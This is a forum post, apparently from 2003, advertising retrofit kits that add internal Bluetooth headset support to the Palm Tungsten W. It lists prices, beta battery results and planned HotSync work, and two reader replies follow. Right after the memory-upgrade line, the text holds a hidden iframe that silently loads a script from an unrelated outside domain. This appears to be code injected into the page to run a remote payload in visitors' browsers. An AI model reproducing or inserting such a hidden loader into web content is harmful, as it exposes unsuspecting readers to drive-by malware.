Good Evening to all,

First and foremost I would like to say that when I first began this project it was because I was so mad at Palm for not including it in the T/W in the first place, as time went on and I drew up a plan and prepared possible concerns of what might happen?, Then the back of the T/W came off the first thing in my head was “There goes the warranty!!” and that is one of the main issues in this conversion. Everyone must understand that by doing this conversion “Your warranty will be void” if your unit is more than 90days old and the 1 year screen protection warranty was not purchased (Go to the Palm site for warranty details) then you have no problem, although you might convince a Palm representative to give you a refurbished one as a replacement if you return it as purchased without the stated modifications.
I am saying this now to make everyone aware so I don’t get people telling me they did not know?, now that off my chest we will proceed to the specifics of the conversion.

Detailed pictures will be posted on web site (End of this week) of the completed Tungsten W’s. www.pda-cdrr.com site under construction.

Internal Bluetooth headset "Self-Kits #1" is no longer to be supported and I don't want to be held legally responsible for any that get damaged. Because of tooling issues of Beta users; there is a level of skill and tooling necessary for a successful completion of this "Self-Kits #1" and all of the Beta users agreed (7 T/W’s DEAD) to better have a qualified personnel with the required tooling and knowledge to accomplish this task successfully and professionally.

ORDERS FOR KITS WILL START TO BE TAKEN AT END OF JUNE 2003 POSSIBLY SOONER SO STAY TUNED IN.

Thank you all for your support and patience

"Full Installation Kit #2" Consist of all materials including Bluetooth module & Headset and documentation for Tungsten W owners who send their Tungsten W for retrofit are as follows;
Plantronics Bluetooth module installed with matching 3hr headset $175.00 (It will be less once I have firm dealer price.)
Plantronics Bluetooth module installed with matching 4hr headset $TBD (Optional 4hr battery)
Microtooth Bluetooth module installed with matching 3hr headset $TBD
Xtalk Xtreme Bluetooth module installed with matching 3hr headset $TBD
Xtalk Xtreme Bluetooth module installed with matching 4hr headset $TBD (Optional 4hr battery)
Jabra FreeSpeak Bluetooth module installed with matching 4hr headset $260.00 (It will be less once I have firm dealer price.)
BlueTrek Bluetooth module installed with matching 3hr headset $TBD
"Full Installation Kit #2a"
Microtooth Bluetooth MultiTooth Car Kit $TBD

"Full Installation Kit #3" Consist of all materials including Speaker & Microphone
with side mounted answer/end button installed in T/W with ability to still use wired Palm supplied Headset $96.00

------------------Beta#1-----Beta#2----Beta#3------Beta#4-----Beta#5
Talk Time (min)---7hr 20min---8hr 9min---9hr 22min---7hr 55min---6hr 39min
The PDA functions were used and email downloads that were not included in the above times, The average time was 7.882hrs and I think that is more than acceptable bearing in mind the amount of use these T/W's got. More testing to follow.

Total Beta units in field is 22 in various configurations.

We have a staff of technicians that are set to convert 20 a day as to keep the Quality of the retrofits to a high standard. Testing for 24hrs and setup of the Tungsten W for the above kits #2, #2a and kit#3 will be part of the production process to assure quality.
. The shipping department is geared up to have overnight delivery.
By the end of July to mid August we have a goal to have at hand reconfigured and converted Tungsten W’s on the shelf for immediate delivery.

Update on working projects;
"Full Internal Bluetooth capable w/appropriate drivers of listed below Kit #4"
Has been accomplished on 3 Beta units and under testing for driver configurations, software glitches, and 2 more Beta units to follow by end of week.

* BlueBoard --Not Started--
* BlueChat --Not Started--
* BtPrint --Not Started--
* PicoBlue(tm) Internet Access Point HotSync --Not Started--
* Red-M(tm) 1050AP LAN access point HotSync --Not Started--
* EtherBlue(tm) Wireless LAN Access Point HotSync --Not Started--
* Hewlett Packard 995c Printer* --Not Started--
* 3Com USB adapter HotSync --In Process--
* TDK USB adapter HotSync --In Process--
* D-Link DWB-120M Bluetooth USB Adapter HotSync --In Process--
* IBM Ultraport adapter HotSync --Not Started--
* Toshiba 4010 notebook Bluetooth HotSync --Not Started--
* HP ZT1000 notebook Bluetooth HotSync --Not Started--
* 3Com PC Card Bluetooth HotSync --Not Started--

Kit #5 Memory upgrade to 32mb for the DragonBall VZT-based---TBD ( I have one T/W converted to 32mb but there are issues)<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Hello Crabini,

I'm getting more and more frustrated with the cable on my Tungsten W.

Are you still offering the service to add internal bluetooth for a headset to this pda, or do you have another solution?

Thanks for your reply,

Paul

PS: I live in the Netherlands and have a Logitech headset (the one with the clip) but can buy another one if required.

Any plans to upgrade Samsung's i700?

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